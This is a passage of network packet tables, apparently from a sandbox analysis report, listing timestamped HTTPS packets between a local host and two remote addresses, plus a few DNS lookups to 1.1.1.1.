| Jan 11, 2025 03:53:37.133666039 CET | 53780 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:37.133694887 CET | 443 | 53780 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:37.766401052 CET | 443 | 53780 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:37.766479969 CET | 53780 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:37.767090082 CET | 53780 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:37.767108917 CET | 443 | 53780 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:37.767287970 CET | 53780 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:37.767332077 CET | 443 | 53780 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:38.221530914 CET | 443 | 53780 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:38.221627951 CET | 53780 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:38.221698999 CET | 443 | 53780 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:38.221733093 CET | 443 | 53780 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:38.221762896 CET | 53780 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:38.221790075 CET | 443 | 53780 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:38.221842051 CET | 53780 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:38.221842051 CET | 53780 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:38.221863985 CET | 443 | 53780 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:38.221898079 CET | 443 | 53780 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:38.221911907 CET | 53780 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:38.221951962 CET | 53780 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:38.222328901 CET | 53780 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:38.222362041 CET | 443 | 53780 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:38.350385904 CET | 53781 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:38.350454092 CET | 443 | 53781 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:38.350570917 CET | 53781 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:38.350888014 CET | 53781 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:38.350903988 CET | 443 | 53781 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:39.005490065 CET | 443 | 53781 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:39.007524014 CET | 53781 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:39.008157015 CET | 53781 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:39.008172035 CET | 443 | 53781 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:39.008372068 CET | 53781 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:39.008378983 CET | 443 | 53781 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:39.388187885 CET | 443 | 53781 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:39.388573885 CET | 443 | 53781 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:39.388729095 CET | 53781 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:39.388892889 CET | 53781 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:39.388920069 CET | 443 | 53781 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:39.401737928 CET | 53782 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:39.401843071 CET | 443 | 53782 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:39.402653933 CET | 53782 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:39.402976990 CET | 53782 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:39.403012037 CET | 443 | 53782 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:40.036168098 CET | 443 | 53782 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:40.036247015 CET | 53782 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:40.043720961 CET | 53782 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:40.043776989 CET | 443 | 53782 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:40.043957949 CET | 53782 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:40.043970108 CET | 443 | 53782 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:40.478842974 CET | 443 | 53782 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:40.479001999 CET | 53782 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:40.479022980 CET | 443 | 53782 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:40.479195118 CET | 53782 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:40.479249001 CET | 443 | 53782 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:40.479294062 CET | 53782 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:40.479301929 CET | 443 | 53782 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:40.479321003 CET | 443 | 53782 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:40.479341984 CET | 53782 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:40.479371071 CET | 53782 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:40.480016947 CET | 53782 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:40.480030060 CET | 443 | 53782 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:40.600970984 CET | 53783 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:40.601011038 CET | 443 | 53783 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:40.601104021 CET | 53783 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:40.601381063 CET | 53783 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:40.601392984 CET | 443 | 53783 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:41.262955904 CET | 443 | 53783 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:41.263041019 CET | 53783 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:41.266050100 CET | 53783 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:41.266057968 CET | 443 | 53783 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:41.266387939 CET | 53783 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:41.266393900 CET | 443 | 53783 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:41.646009922 CET | 443 | 53783 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:41.646120071 CET | 53783 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:41.646363020 CET | 53783 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:41.646394968 CET | 443 | 53783 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:41.646449089 CET | 53783 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:41.659372091 CET | 53784 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:41.659410954 CET | 443 | 53784 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:41.659485102 CET | 53784 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:41.659852028 CET | 53784 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:41.659861088 CET | 443 | 53784 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:42.306715965 CET | 443 | 53784 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:42.306803942 CET | 53784 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:42.307394028 CET | 53784 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:42.307401896 CET | 443 | 53784 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:42.307571888 CET | 53784 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:42.307576895 CET | 443 | 53784 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:42.753328085 CET | 443 | 53784 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:42.753381014 CET | 443 | 53784 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:42.753443003 CET | 443 | 53784 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:42.753442049 CET | 53784 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:42.753468990 CET | 53784 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:42.753492117 CET | 53784 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:42.754231930 CET | 53784 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:42.754249096 CET | 443 | 53784 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:42.881527901 CET | 53785 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:42.881583929 CET | 443 | 53785 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:42.881676912 CET | 53785 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:42.882020950 CET | 53785 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:42.882035971 CET | 443 | 53785 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:43.525445938 CET | 443 | 53785 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:43.525546074 CET | 53785 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:43.526097059 CET | 443 | 53785 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:43.526159048 CET | 53785 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:43.528217077 CET | 53785 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:43.528234005 CET | 443 | 53785 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:43.528429031 CET | 443 | 53785 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:43.528476954 CET | 53785 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:43.529015064 CET | 53785 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:43.571325064 CET | 443 | 53785 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:43.920000076 CET | 443 | 53785 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:43.920073032 CET | 53785 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:43.920092106 CET | 443 | 53785 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:43.920133114 CET | 53785 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:43.920234919 CET | 53785 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:43.920260906 CET | 443 | 53785 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:43.920300007 CET | 53785 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:43.929326057 CET | 53786 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:43.929363012 CET | 443 | 53786 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:43.929424047 CET | 53786 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:43.929672003 CET | 53786 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:43.929681063 CET | 443 | 53786 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:44.557961941 CET | 443 | 53786 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:44.558028936 CET | 53786 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:44.558581114 CET | 53786 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:44.558588028 CET | 443 | 53786 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:44.558778048 CET | 53786 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:44.558783054 CET | 443 | 53786 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:44.996385098 CET | 443 | 53786 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:44.996452093 CET | 443 | 53786 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:44.996478081 CET | 53786 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:44.996498108 CET | 443 | 53786 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:44.996520042 CET | 443 | 53786 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:44.996520042 CET | 53786 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:44.996556044 CET | 53786 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:44.996596098 CET | 53786 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:44.997292995 CET | 53786 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:44.997308969 CET | 443 | 53786 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:45.116138935 CET | 53787 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:45.116182089 CET | 443 | 53787 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:45.116318941 CET | 53787 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:45.116695881 CET | 53787 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:45.116708994 CET | 443 | 53787 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:45.753727913 CET | 443 | 53787 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:45.753983021 CET | 53787 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:45.754522085 CET | 443 | 53787 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:45.754611015 CET | 53787 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:45.764111042 CET | 53787 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:45.764123917 CET | 443 | 53787 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:45.764344931 CET | 443 | 53787 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:45.765010118 CET | 53787 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:45.765355110 CET | 53787 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:45.807322025 CET | 443 | 53787 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:46.164174080 CET | 443 | 53787 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:46.164258957 CET | 53787 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:46.164283037 CET | 443 | 53787 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:46.164324999 CET | 53787 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:46.164453030 CET | 53787 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:46.164475918 CET | 443 | 53787 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:46.164520025 CET | 53787 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:46.179104090 CET | 53788 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:46.179141045 CET | 443 | 53788 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:46.179219961 CET | 53788 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:46.179478884 CET | 53788 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:46.179492950 CET | 443 | 53788 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:46.812911034 CET | 443 | 53788 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:46.812977076 CET | 53788 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:46.813695908 CET | 53788 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:46.813708067 CET | 443 | 53788 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:46.813961029 CET | 53788 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:46.813968897 CET | 443 | 53788 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:47.248871088 CET | 443 | 53788 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:47.248966932 CET | 53788 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:47.248986006 CET | 443 | 53788 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:47.249034882 CET | 53788 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:47.249041080 CET | 443 | 53788 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:47.249070883 CET | 443 | 53788 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:47.249088049 CET | 53788 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:47.249116898 CET | 53788 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:47.249155045 CET | 443 | 53788 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:47.249201059 CET | 53788 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:47.249279022 CET | 443 | 53788 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:47.249326944 CET | 53788 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:47.249733925 CET | 53788 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:47.249744892 CET | 443 | 53788 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:47.249782085 CET | 53788 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:47.249792099 CET | 53788 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:47.381424904 CET | 53789 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:47.381475925 CET | 443 | 53789 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:47.381548882 CET | 53789 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:47.381864071 CET | 53789 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:47.381877899 CET | 443 | 53789 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:48.013649940 CET | 443 | 53789 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:48.013761997 CET | 53789 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:48.014435053 CET | 443 | 53789 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:48.014502048 CET | 53789 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:48.016242027 CET | 53789 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:48.016268015 CET | 443 | 53789 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:48.016539097 CET | 443 | 53789 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:48.017015934 CET | 53789 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:48.017400980 CET | 53789 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:48.059345007 CET | 443 | 53789 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:48.397368908 CET | 443 | 53789 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:48.397488117 CET | 53789 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:48.397557020 CET | 443 | 53789 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:48.397617102 CET | 53789 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:48.397700071 CET | 53789 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:48.397753954 CET | 443 | 53789 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:48.397813082 CET | 53789 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:48.411917925 CET | 53790 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:48.411964893 CET | 443 | 53790 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:48.412043095 CET | 53790 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:48.412332058 CET | 53790 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:48.412349939 CET | 443 | 53790 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:49.077749014 CET | 443 | 53790 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:49.077846050 CET | 53790 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:49.078330994 CET | 53790 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:49.078337908 CET | 443 | 53790 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:49.078528881 CET | 53790 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:49.078532934 CET | 443 | 53790 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:49.518420935 CET | 443 | 53790 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:49.518486023 CET | 443 | 53790 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:49.518493891 CET | 53790 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:49.518510103 CET | 443 | 53790 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:49.518536091 CET | 53790 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:49.518548012 CET | 443 | 53790 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:49.518563986 CET | 53790 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:49.518594980 CET | 53790 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:49.738262892 CET | 53790 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:49.738285065 CET | 443 | 53790 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:49.882818937 CET | 53791 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:49.882874966 CET | 443 | 53791 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:49.882936001 CET | 53791 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:49.883697987 CET | 53791 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:49.883718014 CET | 443 | 53791 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:50.514277935 CET | 443 | 53791 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:50.514417887 CET | 53791 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:50.514926910 CET | 443 | 53791 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:50.515094042 CET | 53791 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:50.516889095 CET | 53791 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:50.516921043 CET | 443 | 53791 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:50.517151117 CET | 443 | 53791 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:50.517210007 CET | 53791 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:50.517537117 CET | 53791 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:50.559333086 CET | 443 | 53791 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:50.904643059 CET | 443 | 53791 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:50.904738903 CET | 53791 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:50.904781103 CET | 443 | 53791 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:50.904824972 CET | 53791 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:50.904968023 CET | 53791 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:50.905054092 CET | 443 | 53791 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:50.905117989 CET | 53791 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:50.921025991 CET | 53792 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:50.921082020 CET | 443 | 53792 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:50.921173096 CET | 53792 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:50.921624899 CET | 53792 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:50.921648026 CET | 443 | 53792 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:51.567639112 CET | 443 | 53792 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:51.569917917 CET | 53792 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:51.570458889 CET | 53792 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:51.570472002 CET | 443 | 53792 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:51.570642948 CET | 53792 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:51.570648909 CET | 443 | 53792 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:52.002738953 CET | 443 | 53792 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:52.002835989 CET | 443 | 53792 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:52.002897978 CET | 53792 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:52.002934933 CET | 443 | 53792 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:52.002950907 CET | 53792 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:52.002954006 CET | 443 | 53792 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:52.002994061 CET | 53792 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:52.003803015 CET | 53792 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:52.003822088 CET | 443 | 53792 | 172.217.16.129 | 192.168.2.4 |
| Timestamp | Source Port | Dest Port | Source IP | Dest IP |
|---|---|---|---|---|
| Jan 11, 2025 03:52:29.542167902 CET | 54665 | 53 | 192.168.2.4 | 1.1.1.1 |
| Jan 11, 2025 03:52:29.549182892 CET | 53 | 54665 | 1.1.1.1 | 192.168.2.4 |
| Jan 11, 2025 03:52:30.619851112 CET | 61269 | 53 | 192.168.2.4 | 1.1.1.1 |
| Jan 11, 2025 03:52:30.627826929 CET | 53 | 61269 | 1.1.1.1 | 192.168.2.4 |
